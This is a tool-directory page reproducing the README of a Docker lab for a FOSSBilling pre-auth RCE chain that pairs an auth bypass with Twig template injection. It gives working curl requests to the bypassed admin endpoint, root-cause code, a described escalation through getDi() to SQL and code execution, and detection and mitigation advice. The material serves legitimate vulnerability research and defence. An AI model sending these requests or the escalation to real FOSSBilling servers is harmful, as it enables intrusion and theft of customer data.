Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-28496 — Docker lab reproducing the FOSSBilling pre-auth RCE chain (CVE-2026-27604 auth bypass + CVE-2026-28496 Twig SSTI) with a Python PoC and patched comparison target. | Kitploit
Tools/GitHubGitHub/ivanesk315/cve-2026-28496
Vulnerability ScannersVulnerability AnalysisExploitationServerless SecurityWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubivanesk315/cve-2026-28496

CVE-2026-28496

Docker lab reproducing the FOSSBilling pre-auth RCE chain (CVE-2026-27604 auth bypass + CVE-2026-28496 Twig SSTI) with a Python PoC and patched comparison target.

0 days agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-27604 + CVE-2026-28496 — FOSSBilling Pre-Auth RCE Chain

Executive Summary

This repository contains a local Docker lab for reproducing and validating the FOSSBilling Pre-Auth RCE chain, composed of two chained vulnerabilities:

CVETypeCVSS v4GHSADescription
CVE-2026-27604Auth Bypass10.0GHSA-78x5-c8gw-8279Missing throw in API role checker exposes admin endpoints to unauthenticated callers
CVE-2026-28496SSTI9.4GHSA-57mv-jm88-66jcUnsandboxed Twig template rendering via string_render API

FOSSBilling is a free and open-source billing and client management platform. Versions 0.5.4 through 0.7.2 are affected. FOSSBilling 0.8.0 patches both vulnerabilities.

This lab compares two FOSSBilling versions:

ServiceFOSSBilling versionPurposeURL
vuln0.7.2Vulnerable targethttp://localhost:8081
patched0.8.0Patched targethttp://localhost:8082

The validated chain in this local lab is:

root@kitploit:~
Unauthenticated HTTP POST
→ /api/system/system/string_render
→ Role "system" resolves to cron admin identity (CVE-2026-27604)
→ _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496)
→ Server evaluates the template expression
→ Returns {"result":"49","error":null}

The patched target (0.8.0) returns:

root@kitploit:~
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

The lab is intentionally scoped to local Docker services. It does not target external systems and does not include web shells, malware, persistence, external callbacks, database dumping, or destructive payloads.

The Chain

The Pre-Auth RCE requires both vulnerabilities working together:

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  STEP 1: Auth Bypass (CVE-2026-27604)                        │
│                                                              │
│  URL path: /api/system/system/string_render                  │
│  Role "system" → cron admin identity                         │
│  Exception instantiated but never thrown                     │
│  → Unauthenticated caller gets admin API access              │
├──────────────────────────────────────────────────────────────┤
│  STEP 2: SSTI (CVE-2026-28496)                               │
│                                                              │
│  Admin API method: System\Api\Admin::string_render()         │
│  _tpl parameter → Twig createTemplate() → render()          │
│  No sandbox enforcement                                     │
│  → Server-side template evaluation                           │
├──────────────────────────────────────────────────────────────┤
│  COMBINED: Pre-Auth RCE                                      │
│                                                              │
│  One unauthenticated HTTP POST                               │
│  → Admin access (auth bypass)                                │
│  → Template injection (SSTI)                                 │
│  → getDi() exposes Pimple DI container                       │
│  → PDO, cache, extension manager, 40+ services reachable    │
│  → Remote Code Execution                                     │
└──────────────────────────────────────────────────────────────┘

This lab demonstrates the chain using the safe arithmetic proof {{ 7*7 }}. The full RCE path via getDi() is not demonstrated.

Verified Facts

ClaimEvidenceHow to verify
CVE-2026-27604 is an auth bypass in FOSSBilling API role handling.GHSA-78x5-c8gw-8279: missing throw in role checker allows /api/system/ to resolve as admin.Run the PoC: guest path is denied, system path returns admin result.
CVE-2026-28496 is an SSTI in FOSSBilling Twig rendering.GHSA-57mv-jm88-66jc: string_render passes _tpl into Twig createTemplate() without sandbox.Run the PoC: server evaluates {{ 7*7 }} and returns 49.
Both vulnerabilities affect FOSSBilling 0.5.4 through 0.7.2.Public advisories identify the affected version range.Compare vuln (0.7.2) and patched (0.8.0) targets.
FOSSBilling 0.8.0 patches both vulnerabilities.Patched target returns "Unknown API call" for the tested endpoint.Run the PoC against port 8082.
The auth bypass gives unauthenticated admin access./api/guest/ denies string_render; /api/system/ returns the result without auth.Run Stage 1 of the PoC.
The SSTI evaluates attacker-controlled templates.{{ 7*7 }} returns 49 through the vulnerable path.Run Stage 2 of the PoC.
The chain enables Pre-Auth RCE.Auth bypass + SSTI = unauthenticated template injection with admin context.Run the full chain PoC.
The PoC is HTTP-only.poc.py sends HTTP POST requests only.Inspect poc/poc.py.

Root Cause Analysis

CVE-2026-27604: Auth Bypass

The FOSSBilling API resolves roles from the URL path:

root@kitploit:~
/api/:role/:module/:method

The role checker validates whether the requested role is allowed. However, in vulnerable versions, the exception for disallowed roles is instantiated but never thrown:

root@kitploit:~
// Simplified vulnerable pattern
if (!in_array($role, $allowed_roles)) {
    new \Exception("Role not allowed");  // BUG: missing "throw"
}

Because the exception is never thrown, the validation silently passes. The role system resolves to the cron admin identity, granting full admin API access to any unauthenticated caller.

The security impact:

root@kitploit:~
/api/guest/system/string_render  → denied (guest role, no admin access)
/api/admin/system/string_render  → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)

The system role maps to the internal cron admin identity, which has full administrative privileges.

CVE-2026-28496: SSTI

The string_render admin API method receives _tpl from request data and passes it into the Twig template rendering pipeline without sandbox enforcement:

root@kitploit:~
public function string_render($data)
{
    if (!isset($data['_tpl'])) {
        error_log('_tpl parameter not passed');
        return '';
    }

    $tpl = $data['_tpl'];
    $try_render = $data['_try'] ?? false;

    $vars = $data;
    unset($vars['_tpl'], $vars['_try']);

    return $this->getService()->renderString($tpl, $try_render, $vars);
}

The renderString() method falls through to createTemplateFromString():

root@kitploit:~
public function createTemplateFromString($tpl, $try_render, $vars)
{
    try {
        $twig = $this->di['twig'];
        $template = $twig->createTemplate($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception $e) {
        $parsed = $tpl;

        if (!$try_render) {
            throw $e;
        }
    }

    return $parsed;
}

The critical issue: createTemplate($tpl) creates a Twig template from the attacker-controlled string and renders it without sandbox restrictions. The template has access to objects in the template context, including the guest API handler which exposes getDi().

Combined Chain

root@kitploit:~
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}

Step 1 (CVE-2026-27604):
  URL path → role = "system"
  → role checker: exception instantiated, NOT thrown
  → system role → cron admin identity
  → admin API access granted without authentication

Step 2 (CVE-2026-28496):
  Admin::string_render() → reads _tpl from request
  → Service::renderString() → createTemplateFromString()
  → Twig createTemplate("{{ 7*7 }}")
  → Twig evaluates the expression
  → returns "49"

Full RCE path (not demonstrated in this safe PoC):
  {{ guest.getDi() }}
  → returns the Pimple DI container
  → PDO, cache, password hashing, extension manager, 40+ services
  → SQL execution, credential extraction, code execution

Source Patch Summary

FOSSBilling 0.8.0 addresses both vulnerabilities:

Auth Bypass fix (CVE-2026-27604): The role checker now properly throws the exception for disallowed roles.

SSTI fix (CVE-2026-28496): Template rendering is routed through a sandboxed renderer:

root@kitploit:~
$rendered = SandboxedStringRenderer::render(
    $twig,
    $tpl,
    $vars,
    $errorMessage
);

The sandbox policy blocks method and property access by default:

root@kitploit:~
$methods = [];
$properties = [];

For the public API path tested in this lab, FOSSBilling 0.8.0 does not expose the tested endpoint at all:

root@kitploit:~
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

A source-level regression check confirms the deeper fix:

root@kitploit:~
FOSSBilling 0.7.2:  {{ guest.getDi() }} → DI_VISIBLE
FOSSBilling 0.8.0:  {{ guest.getDi() }} → blocked by Twig sandbox policy

Lab Architecture

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore
ServiceComponentVersion / Role
vulnFOSSBilling0.7.2 vulnerable target
patchedFOSSBilling0.8.0 patched target
vuln-dbMariaDBdatabase for vulnerable target
patched-dbMariaDBdatabase for patched target
installer-vulncurl sidecarauto-installs vulnerable target
installer-patchedcurl sidecarauto-installs patched target

Default exposed services:

root@kitploit:~
Vulnerable target: http://localhost:8081
Patched target:    http://localhost:8082

The installer sidecars run automatically during docker compose up. They initialize both FOSSBilling targets with local disposable credentials and then exit.

Requirements

  • Docker Desktop or Docker Engine
  • Docker Compose v2
  • Python 3
  • Internet access during first Docker image pull

No Python third-party package is required. The PoC uses Python standard library modules only.

Quick Start

Start the lab from a clean state:

root@kitploit:~
docker compose down -v --remove-orphans
docker compose up -d --build

Check service status:

root@kitploit:~
docker compose ps -a

Expected running services:

root@kitploit:~
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db

Expected completed installer services (exit code 0):

root@kitploit:~
cve-2026-28496-installer-vuln      Exited (0)
cve-2026-28496-installer-patched   Exited (0)

Check installer logs:

root@kitploit:~
docker compose logs installer-vuln installer-patched

Run the chain validation against the vulnerable target:

root@kitploit:~
python3 poc/poc.py --url http://localhost:8081

Run the chain validation against the patched target:

root@kitploit:~
python3 poc/poc.py --url http://localhost:8082

PoC Usage

root@kitploit:~
python3 poc/poc.py --url <target_url>

Examples:

root@kitploit:~
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082

The PoC validates both CVEs in three stages:

Stage 1 — Auth Bypass (CVE-2026-27604): Compares the guest API path with the system API path to prove unauthenticated admin access.

root@kitploit:~
[1a] POST /api/guest/system/string_render  → denied (guest role)
[1b] POST /api/system/system/string_render → admin result (system role, no auth)

Stage 2 — SSTI (CVE-2026-28496): Confirms server-side template evaluation through the bypassed admin endpoint.

root@kitploit:~
[2] POST /api/system/system/string_render
    body={"_tpl":"{{ 7*7 }}"}
    → result="49" (template evaluated)

Stage 3 — Chain Assessment: Summarizes the combined chain result.

The PoC is HTTP-only. It does not call Docker, Docker Compose, shell commands, or container APIs.

Expected Results

Vulnerable Target (FOSSBilling 0.7.2)

root@kitploit:~
python3 poc/poc.py --url http://localhost:8081
root@kitploit:~
============================================================
  CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC
  FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI
============================================================
  Scope:  authorized local lab target only
  Target: http://localhost:8081

============================================================
STAGE 1: Auth Bypass (CVE-2026-27604)
============================================================

  [1a] Guest role: POST /api/guest/system/string_render
       status=400
       error={'message': '...', 'code': ...}
       → Denied (expected — guest has no admin access)

  [1b] System role (bypass): POST /api/system/system/string_render
       status=200
       result=49
       → Admin method returned result WITHOUT authentication

  VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth
           CVE-2026-27604 CONFIRMED

============================================================
STAGE 2: SSTI (CVE-2026-28496)
============================================================

  [2] POST /api/system/system/string_render
      body={"_tpl": "{{ 7*7 }}"}
      status=200
      response={"result":"49","error":null}

  VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49
           CVE-2026-28496 CONFIRMED

============================================================
STAGE 3: Chain Assessment
============================================================

  CVE-2026-27604  Auth Bypass  CVSS v4: 10.0  CONFIRMED
  CVE-2026-28496  SSTI         CVSS v4: 9.4   CONFIRMED

  CHAIN RESULT: Pre-Auth RCE path CONFIRMED

Patched Target (FOSSBilling 0.8.0)

root@kitploit:~
python3 poc/poc.py --url http://localhost:8082
root@kitploit:~
  CVE-2026-27604  Auth Bypass  CVSS v4: 10.0  NOT PRESENT
  CVE-2026-28496  SSTI         CVSS v4: 9.4   NOT PRESENT

  CHAIN RESULT: PATCHED — neither vulnerability is present
  Target appears to be FOSSBilling >= 0.8.0

Manual HTTP Reproduction

Auth Bypass proof (CVE-2026-27604)

Guest path (should be denied):

root@kitploit:~
curl -i -X POST \
  'http://127.0.0.1:8081/api/guest/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

System path (bypasses auth):

root@kitploit:~
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

SSTI proof (CVE-2026-28496)

The system path response from the vulnerable target:

root@kitploit:~
{"result":"49","error":null}

Patched comparison

root@kitploit:~
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Expected patched response:

root@kitploit:~
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

Impact

The chain enables unauthenticated remote code execution against FOSSBilling, a billing and client management platform that may store:

  • Customer records and personal data
  • Billing data and payment configuration
  • Server credentials and API tokens
  • Administrator accounts and sessions

The demonstrated lab payload is harmless ({{ 7*7 }}). The real-world impact chain via getDi() and the DI container includes:

  • SQL execution via PDO (credential extraction, data exfiltration)
  • Access to 40+ application services
  • Extension manager access (code execution)
  • Modification of application state
  • Full server compromise when chained with file write or command execution paths

A single unauthenticated HTTP POST is sufficient to reach the DI container. This PoC does not demonstrate that path.

Detection and Monitoring

Suspicious request patterns:

root@kitploit:~
POST /api/system/system/string_render
POST /api/system/*  (any admin method via system role)

Request body indicators:

root@kitploit:~
_tpl, {{, }}, getDi, system, string_render

High-signal detection rules:

root@kitploit:~
Rule 1: POST to /api/system/ from unauthenticated source
Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }}
Rule 3: Response contains "result" with rendered template output

Recommended monitoring actions:

  • Review access logs for /api/system/ requests
  • Review requests containing _tpl in JSON bodies
  • Review requests containing Twig syntax ({{, }}, getDi)
  • Alert on successful responses to /api/system/ from external IPs
  • Review administrator activity if exploitation is suspected
  • Review templates, email templates, mass mailers for suspicious Twig syntax

Mitigation

Upgrade FOSSBilling to version 0.8.0 or later.

Recommended steps:

  • Upgrade FOSSBilling to 0.8.0 or later
  • Block external access to /api/system/* at reverse proxy or WAF
  • Restrict API access to trusted source IPs
  • Rotate all admin and client API tokens
  • Invalidate all active sessions
  • Review access logs for /api/system/ requests
  • Audit email templates, mass mailers, and payment adapters for suspicious Twig syntax
  • Rotate secrets if exploitation is suspected
  • Review customer, billing, and server records for unauthorized access

Security engineering lessons:

  • Always throw exceptions in authorization checks — instantiating without throwing is a silent bypass
  • Do not render untrusted template strings in a privileged application context
  • Use sandboxed template rendering and deny method/property access by default
  • Do not expose DI containers or service locators to template contexts
  • Keep API authorization failures explicit and fail closed

Useful Commands

root@kitploit:~
# Container status
docker compose ps -a

# Installer logs
docker compose logs installer-vuln installer-patched

# Chain validation — vulnerable
python3 poc/poc.py --url http://localhost:8081

# Chain validation — patched
python3 poc/poc.py --url http://localhost:8082

# Manual auth bypass proof
curl -i -X POST \
  'http://127.0.0.1:8081/api/guest/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

# Save evidence
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt
python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt
docker compose ps -a | tee evidence/docker-ps.txt
docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt

Cleanup

root@kitploit:~
# Stop containers
docker compose down --remove-orphans

# Stop containers and remove volumes
docker compose down -v --remove-orphans

# Remove evidence files
rm -rf evidence/

Safety Boundaries

This lab is for local security research and controlled demonstration only.

Do not run the PoC against systems you do not own or have explicit authorization to test. Do not use real production credentials, customer data, or API keys in this lab.

The intended scope is limited to:

root@kitploit:~
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

The lab does not demonstrate:

  • Remote command execution via getDi()
  • Credential extraction via PDO
  • Database dumping
  • Extension installation
  • Web shell upload
  • Persistence or lateral movement
  • External callbacks
  • Attacks against non-lab systems

References

  • CVE-2026-27604 — FOSSBilling Auth Bypass https://www.cve.org/CVERecord?id=CVE-2026-27604

  • CVE-2026-28496 — FOSSBilling SSTI https://www.cve.org/CVERecord?id=CVE-2026-28496

  • GHSA-78x5-c8gw-8279 — Auth Bypass Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279

  • GHSA-57mv-jm88-66jc — SSTI Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

  • NVD — CVE-2026-27604 https://nvd.nist.gov/vuln/detail/CVE-2026-27604

  • NVD — CVE-2026-28496 https://nvd.nist.gov/vuln/detail/CVE-2026-28496

  • VulnCheck — FOSSBilling Auth Bypass and Twig SSTI to Unauthenticated RCE https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

  • FOSSBilling GitHub Repository https://github.com/FOSSBilling/FOSSBilling

  • FOSSBilling Docker Image https://hub.docker.com/r/fossbilling/fossbilling

  • Twig Documentation — Sandbox Extension https://twig.symfony.com/doc/3.x/sandbox.html

Download Tool